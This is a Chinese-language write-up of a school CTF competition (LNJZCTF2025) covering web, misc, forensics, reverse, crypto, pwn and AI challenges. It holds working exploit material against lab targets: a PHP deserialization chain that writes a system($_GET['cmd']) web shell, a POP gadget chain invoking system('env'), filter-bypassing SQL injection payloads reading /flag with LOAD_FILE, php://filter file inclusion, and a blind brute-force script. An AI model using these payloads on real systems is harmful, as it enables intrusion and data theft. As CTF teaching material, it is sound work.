LNJZCTF2025 WriteUp
前言
本次参加了学校的信息安全比赛,我也出了几道题,接下来分享一下WP
Web
签到
打开场景

我们直接拿御剑扫一下网站目录

我们访问一下

目录有了,访问

右键或者F12查看源代码

找到了,base64解码即可获得flag
小猫
打开场景

我们用Burpsuite抓包,改一下X-Forwarded-For头

发现都是mew和Mew,解码一下,mew是0,Mew是1
我们直接替换一下

使用脚本如下
a = ["01100110","01101100","01100001","01100111","01111011","01010100","01100101","01110011","01110100","01010100","01100101","01100001","01101101","01001000","01100001","01110011","01101000","01111101"]
#替换成自己的编码
b = ""
for i in a:
c = int(i,2)
b += chr(c)
print(b)
运行,获得flag

当然,也可以转换之后拿在线工具解码,都是一样的

Bool
打开场景

我们尝试输入

没啥好说的,写脚本爆破吧
from bs4 import BeautifulSoup
import requests
url = "http://192.168.25.227:32807/"#填写你的网址
flag = ""
for i in range(30): #flag长度,短了可能搞不全
for j in range(32,127):
test = flag + chr(j)
data = {"flag":test}
html = requests.post(url,data=data)
soup = BeautifulSoup(html.text, "html.parser")
a = soup.find("p").text
if a == "True":
flag += chr(j)
break
print(flag)
运行脚本
弱比较

按f12查看代码

很经典的弱比较,我们直接构造URL

PS.这道题其实是我用python的flask写的,不知道为啥我构造的php容器本地跑没问题,在平台上就是跑不了,后来在python上模拟的php弱比较,但是返回的还是php代码 :D
F12
这题没什么好说的,直接按F12就能得到flag,算是签到题

F12Pro
禁止了F12,搜一下,按Ctrl+Shift+i也能进入视图,直接得到flag

笨蛋总是掉眼泪
有一个超链接,点一下

没有flag,但是有file协议,我们可以尝试用filter协议读取一下index.php


解码出来有乱码,我找网站恢复了一下,内容如下
<meta charset="utf8">
<?php
// 关闭错误报告
error_reporting(0);
//以get方式传参
$file = $_GET["file"];
//stristr() 函数搜索字符串在另一字符串中的第一次出现,并返回字符串的剩余部分。
//一下if语句过滤了"php://input" 、 "zip://" 、 "phar://" 、 "data:"
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>
我们再读取一下flag.php

解码出来,获得flag

签到1

打砖块,打完也会给,我们直接翻一下代码

访问这个网页,并且提交数据:win=true

闯关
三道关卡,第一个是弱比较,第二个要post admin=true,第三个要保存一个cookie user:admin

羊了个羊(王者版)
我们直接看代码里面的获胜条件

看起来我们需要删除所有元素,然后调用setTimeout的内容就能得到flag
直接在控制台输入下面代码
// 删除所有商品
document.querySelectorAll('.goods').forEach(e => e.remove());
// 等待300毫秒后触发胜利流程(模拟原逻辑)
setTimeout(() => {
const str = difficult ? '困难模式' : '';
const levelRecord = difficult ? 'king_difficult_level_record' : 'king_level_record';
gameFinish(`恭喜你通过了${str}${selectLevel.innerText}\n用时${chronoscopeNum}秒`, 'audio/胜利2.mp3');
const userInput = selectLevel.innerText;
const xhr = new XMLHttpRequest();
xhr.open('POST', '/ht.php');
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onload = () => {
if (xhr.status === 200) {
const response = JSON.parse(xhr.responseText);
window.alert(response['message']);
} else {
console.error(`Request failed. Status code: ${xhr.status}`);
}
};
xhr.onerror = () => {
console.error('Error occurred during the request.');
};
xhr.send(`user-input=${encodeURIComponent(userInput)}`);
const levelRecordArr = JSON.parse(localStorage.getItem(levelRecord));
levelRecordArr[selectLevel.getAttribute('index')]++;
localStorage.setItem(levelRecord, JSON.stringify(levelRecordArr));
}, 300);
回车执行,得到flag
这道题的正常解法其实是在第十关的时候,用Burpsuite抓包,里面也可以改包获胜

PHP
代码如下
<?php
error_reporting(0);
class Logger {
public $log_file;
function __wakeup() {
if (strpos($this->log_file, 'php://') !== false) {
die("Hacking attempt detected!");
}
}
function __destruct() {
if ($this->log_file) {
file_put_contents($this->log_file, "Logged by admin!\n", FILE_APPEND);
}
}
}
class Admin {
private $is_admin = false;
private $log;
function __construct() {
$this->log = new Logger();
}
function __wakeup() {
if ($this->is_admin !== true) {
die("Unauthorized access!");
}
}
function do_something() {
if ($this->is_admin) {
echo "Welcome, Admin!\n";
system("cat /flag.txt");
} else {
echo "Permission denied!\n";
}
}
}
if (isset($_GET['data'])) {
$data = base64_decode($_GET['data']);
$obj = unserialize($data);
if ($obj instanceof Admin) {
$obj->do_something();
} else {
echo "Invalid object!";
}
} else {
highlight_file(__FILE__);
}
?>
有以下几点:
绕过Admin的__wakeup,让is_admin=true
触发Logger的__destruct(在对象销毁时调用)
如果我们能控制 $log_file 指向 /var/www/html/shell.php ,并写入 PHP 代码 <?php system($_GET['cmd']); ?> ,就能 RCE
构造序列化对象
Admin对象:- 让
is_admin = true绕过__wakeup() - 让
log指向一个Logger对象
- 让
Logger对象:- 让
log_file = "/var/www/html/shell.php" - 让
__destruct()写入 WebShell
- 让
代码部分
<?php
class Logger {
public $log_file = "/var/www/html/shell.php";
}
class Admin {
public $is_admin = true; // 必须是布尔值
public $log;
}
// 构造对象
$payload = new Admin();
$payload->log = new Logger();
// 生成序列化数据
$exploit = base64_encode(serialize($payload));
echo "Exploit: " . $exploit . "\n";
?>
传入序列化后的数据即可获取flag

别踩白块
这道题很简单,我们翻代码就能看见了

这里会加载f.php这个网页,我们直接访问即可得到flag

POPgadget
打开场景,显示的php代码如下
<?php
highlight_file(__FILE__);
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
}
class Test{
public function __call($f,$p){
echo getenv("FLAG");
}
public function __wakeup(){
echo "serialize me?";
}
}
class A {
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}
class B {
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
if(isset($_REQUEST['begin'])){
unserialize($_REQUEST['begin']);
}
?>
其中,begin是我们要传参的入口
if(isset($_REQUEST['begin'])){
unserialize($_REQUEST['begin']);
}
然后从下往上看,类B,会以字符串p作为访问a的方法名(访问a中的p方法)
$p = $this->p;
echo $this->a->$p;
类A,判断如果当前类名包含Test,就返回No test in Prod
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
类Fun,其中,call_user_func会调用名为 call_user_func_array 的函数,并将 $f (不存在的方法名)和 $p (参数列表)作为参数传递给它。 由于 $p 已经是一个数组(p最初被定义为一个字符串,但是在__call传参的时候会将传入的参数整理成一个数组), call_user_func_array 会将其作为参数列表展开传递给 $f
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
类Test,里面有echo FLAG,看上去是返回flag的,但是实际上会在类A中被过滤,所以这里我们是用不上的
里面有几种魔术方法
- __wakeup() :在反序列化过程中调用,可以在对象生成后立即执行代码。
- __destruct() :在对象销毁时调用,经常作为触发链条的最后一步。
- __get() :当访问未定义或不可见的属性时调用,可以用来间接调用其它对象的方法。
- __call() :当调用不存在的方法时触发,这里可以借助函数回调执行任意函数
我们先将用到的这几个类和变量定义出来
class Fun {
public $func;
}
class A {
public $a;
}
class B {
public $p;
public $a;
}
我们需要在Fun类里面,在call_user_func方法执行system命令获取env(环境变量),所以我们要设置func为system
$fun = new Fun();
$fun->func = "system";
之后,我们用a指向fun类,来调用里面的__call(传入的值不存在)
$a = new A();
$a->a = $fun;
然后,我们把B类中的值p赋值上env(Linux/Unix中查看环境变量的命令,Windows是set)
$b = new B();
$b->p = "env";
$b->a = $a;
最后,我们再调用序列化方法即可
echo serialize($b);
整个代码结构如下
<?php
class Fun {
public $func;
}
class A {
public $a;
}
class B {
public $p;
public $a;
}
// 构造对象链
$fun = new Fun();
$fun->func = "system"; // Fun->func 为 "system"
$a = new A();
$a->a = $fun; // A->a 指向 Fun 对象
$b = new B();
$b->p = "env"; // B->p 为 "env"
$b->a = $a; // B->a 指向 A 对象
echo serialize($b);
大家找个PHP在线工具运行即可得到序列化后的数据
之后我们给begin传参即可得到flag
/?begin=O:1:"B":2:{s:1:"p";s:3:"env";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:4:"func";s:6:"system";}}}

SQL
这道题是考SQL注入的,过滤了空格和一些关键字(比如select、or、from、load等),大家看执行的代码即可知道哪里没执行了,对于空格,可以用/**/代替,关键字过滤可以双写绕过,如OORR
flag有三段,这里把代码给大家分享出来
1'/**/UNION/**/SESELECTLECT/**/flag/**/FRFROMOM/**/secret.passwoorrd/**/#

1'/**/UNION/**/SESELECTLECT/**/grade/**/FRFROMOM/**/scoorre/**/#

1'/**/UNION/**/SELSELECTECT/**/LOLOADAD_FILE('/flag')/**/#

拼接即可得到flag
Misc
猫
这道题我们打开发现里面有一堆[C[D的代码

其实这是控制台的控制符,我们直接右键在控制台打开这个文件夹,然后cat这个文件即可拿到flag

BigBanana
用Audacity打开,我们查找一下特殊的地方

在最前面有一小段不正常的(直接拖条可能拖不到,按箭头过去)
我们放大看看

提示是打电报,所以这个可能是摩斯密码,我们把下算作0,上算作1,平是分隔符
最后解码出来为:0100 10 0111 1100 111000 0010 0100 01 110 1111011 1010 010 001101 110 1001 1011 1111101

其中,%u7b和%u7d是url编码的{}
所以,flag是LNJZ:FLAG{CR_GXY}
鸡年大吉
打开图片,是一张日历,没找到什么有用的信息,我们用010Editor打开寻找有没有什么特殊的

好像是base64,但是应该替换了数据,我这里是直接扔给GPT出的答案

最后里面的内容解密是I_like_qiao!,我们包上flag,提交成功
小八
打开音频,是一段音乐和摩斯密码的电报音(打开的时候差点当场去世)
听起来很困难,我找了一个声音分离的软件,第一步先分离了人声,第二部分离了音响合成器,现在听起来更方便了,我们尝试解码

..-. .-.. .- –. –.. . -. –. ..–.- - .- — ..–.- .-. .- -. ..–.- –.. …. . -. ..–.- … …. ..- .- ..
没研究过这东西听着会很费劲,可以拿软件搞定,我们解码一下

嗯,我们包上括号,提交:flag{zeng_tao_ran_zhen_shuai}
彩蛋来咯
一部分在公告里(base64加密),下面的呜嗷啊(兽音译者编码)右上角摩斯密码,签到的题目提示里(我扔的随波逐流,是UUencode编码),解密然后合并在一起即可,结果是LNJZ::flag{辽建No.1_tianxiadiyi}
exe
我们将后缀名改为.exe可执行文件,之后直接运行,输入exe即可得到flag

64+18=92?
打开文本

看上去类似Base64编码,发现最后一段=号,就是base64
根据题目提示,今年64,18年后92,其实是进行18次base64加密后,再进行base92加密,现在我们尝试解密,先进行18次base64然后进行base92解密

c4
打开文本,显示一堆类似\u00XX的字符,这是Unicode转义,我们直接写脚本解即可
这里需要解密两次
s = "内容"
decoded = bytes(s, "utf-8").decode("unicode_escape")
print(decoded)

时间刺客
给了几张图片,用010Editor翻了翻,最后在3.jpg这个文件的最后面发现了真正的flag

把里面内容解码

拼接flag,ljflag{20150609},提交,正确
霓虹王
一张图片,经过尝试,应该是盲水印,我们提取一下

flag是LNJZ::flag{会飞的霓虹王}
⚪P
打开是两张图片

这张上的flag是假的,我们需要注意看右面的图层,把背景隐藏或者涂色能看见显示了shen_,还有两个被隐藏了,有几个图层的不透明度被设置为0了,我们还原一下

照理说flag应该是Flag{Yuan_shen_qidong}
但是他这个文本提示不是启动,其实是卸载,所以flag是Flag{Yuan_shen_xiezai}
提交后发现不对,我们再找找,,,最后在路径面板发现了qi_

所以flag是Flag{Yuan_shen_qi_xiezai}
救赎之道,就在其中
得到被加密的压缩包,解压密码其实就是题目描述里面,诗的前两句的Base64加密
5LqM6LeD5pif5rW35YyW6Zu25LiALCDlha3lkIjnu4/nuqzoh6rmiJDosJzjgII=
这里我们要用7zip解压,千万不要用WinRAR解压,解不出来(血的教训)
拿到的文件是.pcap,我以为是流量分析,但是其实并不是,我们用010Editor打开看看

进来一眼就看到了,这是GIF图啊,并且这个文件头有错误(做文件上传的经验啊)
改成GIF89a就正确了,我们随便找个gif图编辑工具打开看看

这里藏了个码,注意这里的码不是二维码,扫不出来的,是汉信码,我们在网上找个工具扫描一下即可得到flag

看图说话
我们得到了一张图片,提示应该是一句古诗,我们识别一下图片

注意看图片下面,有经纬度,我查找了一下位置(30°39'26"N 117°30'51"E),是池州平天湖
后来尝试了一些诗,发现flag是LNJZ::flag{水如一匹练,此地即平天}
ck
这道题和下面的ck2是我朋友出的,我也是一边学一边解的
下载附件,我们用010Editor打开看看

文件头是504B0304,所以这其实是个.zip压缩文件,我们改下后缀名然后解压出来

这里卡了,朋友提示,第一个压缩包的名字San francisco.,结合这个文件名,这其实是思科模拟器的文件(思科名字取自旧金山或者大家要是了解这个文件头也能推测出来),将其后缀名改成.pka,然后用思科模拟器打开文件

我们输入en进入特权模式
如果没有出现Switch就按回车

然后我们使用下面命令显示当前设备的 VLAN(虚拟局域网)信息
show vlan

我们看到了FLAG,按照后面的端口号,可以排序成24,11,12,13,4,2,3,4,5,6,7,8,9,10,20,21,22
接下来,大家可能不知道怎么办,注意看其中的NO_1和NO_2,前面的id,其实提示我们要先进行base64加密,然后再进行base92加密

包上flag{},即可提交
ck2
有三层压缩, 我们用7z直接打开解压出来(三遍啊三遍)
得到sk~,改后缀名为.pka,用思科模拟器打开
按Ctrl+滚轮缩放,将所有的点都放在一起,按照这样排列
之后的太难了,我没接触过,还是在我朋友的提示下做的

我们可以用show vlan命令查看他们的虚拟网信息,挨个看看

L是1(看另外三个主机IP是2,3,4)


注意这个G是千兆的的,所以是G1和G2
现在我们有 11121314151617181920_1_24_G1G2
下面是正确连线

这些还不够,还需要找到缺失的两条命令,我们发现SA有问题,Vlan1被手动关掉了

我们需要输入以下命令修改
conf # 进入全局配置模式
int vlan1 # 进入 Vlan1 接口配置模式
no shutdown # 启用 Vlan1 逻辑接口
当然,如果你想让他能正常工作,还需要给他分配ip地址,但是我们不需要,知道缺失的命令即可
现在用exit退出配置模式,再次查看一下端口

成功了,接下来是另一个,三层交换机,我们先输入en进入管理模式,然后再进入配置模式
我们需要用ip routing命令启用ip路由命令,以实现不同vlan之间可以相互通讯

所以两条命令是ip_routing和no shutdown
把所有的拼接在一起,不对,原来,题目提示里面的难度+并不只是说难度增加,其实这意思flag的一部分(太抽象了)
所以flag是:flag{nandu+ip_routing_no_shutdown_11121314151617181920_1_24_G1G2}
Forensics
see see
flag有三部分,软件名、flag、被篡改的序列号
软件名没什么好说的,涉及到流量分析自然是wireshark
flag,大家可以用010Editor打开,看最后一段

解一下码就能拿到了

最后便是序列号了,我们需要在WireShark中找到被篡改的序列号,就是这里(我当时没明白啥意思)

最后拼接flag:LNJZ::flag{wireshark_lin_xuan_yu_zhehen_shuai_2177}或者1091
Reverse
签到
直接用IDA打开,就能看到flag

迷宫
先查壳

我们用UPX工具脱壳

现在可以用IDA打开了

flag等于玩家输入数据的md5加密值,再找找
wsad,这是判断移动啊,下面还有判断两个值是否大于9,其中,下面这行代码代表着二维数组的访问
v4 = dword_403020[10 * v1 + v2];
然后是判断v4是否等于四,没跑了,这是个10*10的二维数组制作的迷宫,我们再找一下

这就是二维数组的值了,我们按 Shift+E 提取出来,按照我的设置即可

提取出来后,我们按照10*10进行排列,这里我把地图画出来了,大家可以看(白色是0,黑色是1,红色是3,绿色是4,),多出来四个0没啥用,我给去掉了


我们按照路从起点到终点走一遍即可得到下面的的字符串
dddssaassassdddwwdwdwwwddsddssaassddssssaawwaassaawaaas
进行md5编码,然后拼接flag
LNJZ::flag{12cbff29cf84ce71a3687e5d87112076}
crypto
使用IDA打开

很明显,先进行rc4加密,然后进行xor异或

查看函数,发现是与123进行的异或
我们有了加密后的数据,还需要找到rc4的密钥

很明显的key,点进去看看

很好,现在我们有了密钥,写脚本解密吧
from Crypto.Cipher import ARC4
a = "cbd39d7278a3de82d1e0d8ea687849e0f31182"
c = "byGuoXiaoYao"
b = bytearray()
for i in range(0, len(a), 2):
hex_value = int(a[i:i+2], 16)
b.append(hex_value ^ 123)
flag = ARC4.new(c.encode("utf-8")).decrypt(bytes(b)).decode(errors="ignore")
print(flag)
运行脚本,获得flag

momo^_^
这道题是0CTF2016的momo_3,链接: GitHub - 0CTF2016/momo
因为里面用到了mov混淆,所以静态分析会很困难,需要用到动态分析,我这方面还不是很在行,大家可以看看链接的WP
Crypto
那你能帮帮小明么
下载文档

这道题我直接扔ai跑的,这是RSA加密
n是 RSA 公钥模数。e是 RSA 公钥指数。c是密文
解密脚本如下
from sympy import mod_inverse
from Crypto.Util.number import long_to_bytes
import gmpy2
n = 21507386633439519550169998646896627263990342978145866337442653437291500212804540039826669967421406761783804525632864075787433199834243745244830254423626433057121784913173342863755047712719972310827106310978325541157116399004997956022957497614561358547338887866829687642469922480325337783646738698964794799137629074290136943475809453339879850896418933264952741717996251598299033247598332283374311388548417533241578128405412876297518744631221434811566527970724653020096586968674253730535704100196440896139791213814925799933321426996992353761056678153980682453131865332141631387947508055668987573690117314953760510812159
e = 3
c = 6723702102195566573155033480869753489283107574855029844328060266358539778148984297827300182772738267875181687326892460074882512254133616280539109646843128644207390959955541800567609034853
m = gmpy2.iroot(c, e)[0] # 计算 c^(1/3)
plaintext = long_to_bytes(m) # 转换为字节流
print("解密后的明文:", plaintext.decode(errors='ignore'))

直接提交是错误的,我们需要在前面加上LNJZ::才是正确的flag
KS
就像题目名字一样,凯撒加密,随便试几个数就出来了

enc
这道题其实是网上的原题,这里我就不献丑了,毕竟咱不太擅长密码,这里给大家指个链接
转轮王
我不太懂密码啊,这里我扔给GPT跑的,跑了好几遍,这里直接贴代码
def main():
# 定义 14 个转轮(每个转轮均为 26 个大写字母组成的字符串)
wheels = [
"ZWAXJGDLUBVIQHKYPNTCRMOSFE",
"KPBELNACZDTRXMJQOYHGVSFUWI",
"BDMAIZVRNSJUWFHTEQGYXPLOCK",
"RPLNDVHGFCUKTEBSXQYIZMJWAO",
"IHFRLABEUOTSGJVDKCPMNZQWXY",
"AMKGHIWPNYCJBFZDRUSLOQXVET",
"GWTHSPYBXIZULVKMRAFDCEONJQ",
"NOZUTWDCVRJLXKISEFAPMYGHBQ",
"QWATDSRFHENYVUBMCOIKZGJXPL",
"WABMCXPLTDSRJQZGOIKFHENYVU",
"XPLTDAOIKFZGHENYSRUBMCQWVJ",
"TDSWAYXPLVUBOIKZGJRFHENMCQ",
"BMCSRFHLTDENQWAOXPYVUIKZGJ",
"XPHKZGJTDSENYVUBMLAOIRFCQW"
]
# 密钥序列(转轮重排顺序,转轮编号从 1 开始)
key = [3, 2, 1, 5, 6, 4, 9, 7, 8, 12, 11, 13, 10, 14]
# 根据密钥重排转轮
wheels_reordered = [wheels[k - 1] for k in key]
# 密文字符串(每个字母对应一个转轮)
ciphertext = "BCHTSXWCRQSELG"
# 解密:对于每个重排后的转轮,找到密文中字母在该转轮中的索引,
# 然后明文字母取该转轮中索引位置 (index - 23) mod 26 的字母
offset = 23 # 根据推导得到的偏移量
plaintext = ""
for i, wheel in enumerate(wheels_reordered):
c = ciphertext[i]
try:
pos_c = wheel.index(c)
except ValueError:
print(f"Error: 字母 {c} 不在转轮 {i + 1} 中。")
continue
pos_p = (pos_c - offset) % 26
p = wheel[pos_p]
plaintext += p.lower() # 转为小写,与目标结果一致
print("解密结果:", plaintext)
if __name__ == '__main__':
main()
解密结果: atpjqidnxsbwsd
我们包上LNJZ::flag{}即可
Pwn
pwnsingin
我们直接用nc工具连接,然后查看文件即可得到flag

Ubuntu-env
用nc工具连接服务器,提示要输入名字,输入错误,提示不是admin

再次连接,输入admin,成功进入,我们查看一下文件

这个flag是假的,看提示和题目名字,我们可以知道flag应该在环境变量里面,我们查看环境变量

得到flag:flag{240a11dc-74f4-44ae-8e4a-e1a9b1f5c42e}
AI
磊同学
打开是一个聊天程序


提示有PyInstaller,逆向他,先查壳确认一下

确实是PyIntaller打包的,我们给他解包


我们翻一下文件,最后在Ai文件里面找到了flag

PS:后来问了出题的朋友,这道题只要按次序输入2 2 flag y 10就能得到flag了 :D